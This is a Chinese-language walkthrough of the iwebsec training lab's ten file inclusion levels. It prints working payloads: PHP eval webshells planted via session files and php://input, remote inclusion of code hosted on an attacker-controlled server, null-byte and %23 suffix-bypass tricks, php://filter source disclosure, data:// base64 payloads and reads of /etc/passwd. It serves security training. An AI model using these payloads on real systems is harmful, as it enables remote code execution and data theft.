01-本地文件包含
答案都给出了
02-本地文件包含绕过
答案也给出了,意思是想让我们使用%00
进行截断绕过文件后缀检测,先传参?filename=test.txt
,给我们回显的错误中可以看到**Failed opening 'test.txt.html'**
这样一句话,所以后台其实是在我们的文件名的后面加了.html
后缀,使用%00
截断即可
03-session本地文件包含
先按照提示发一个正常包,发现会把我们上传的内容当作SESSION['username']
的值,那我们可以上传木马,如何再去包含session文件即可
?iwebsec=<?php%20eval($_POST[a]);?>
本题没有文件包含的地方,用第一题的就行,一般的session文件保存的地址是/var/log/php/session/sess_PHPSESSID
,其中PHPSESSID
是第三题的
在第一题的传参
?filename=/var/lib/php/session/sess_odrfbdgrftso83fl9s7mfuq1i7
POSTa=system(ls);
04-远程文件包含
文件包含中可以包含远程文件,也就是说如果你自己有公网IP的服务器的话,在服务器上放一个文件,通过URL去包含该文件即可
我在我的服务器中创建一个test.txt的文件,内容为<?php phpinfo();?>
接着我包含这个文件?filename=http://8.130.../test.txt
结果如下:
05-远程文件包含绕过
使用%00
或者%23
都行,%23
是#
的编码
06-php伪协议
?filename=php://filter/convert.base64-encode/resource=06.php
去学伪协议就行,最基础的用法了,得到的是经过base64
编码的文件内容,拿去解码就行
0708-php://input伪协议
该协议会将POST
的内容作为需要包含的文件内容,只需要POST
木马即可
GET?filename=php://input
POST<?php eval($_GET[f]);?>
09-file://伪协议利用
根据提示,我们看看是什么意思file:///etc/passwd
1 | `file:///etc/passwd` 是一个 URL 地址,指向 Unix/Linux 系统中的 `/etc/passwd` 文件。在 Unix 和类Unix系统中,`/etc/passwd` 文件通常用于存储用户账户信息。 |
file
协议读的是本地文件,使用的是绝对路径,通过这个我们可以去读取一些已知路径的文件
10-data://伪协议利用
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这个的意思是文件类型是text/plain
,文件的内容是经过base64
编码后的PD9waHAgcGhwaW5mbygpOz8%2b
,这个解码后是<?php phpinfo();?
还有很多用法,自行查询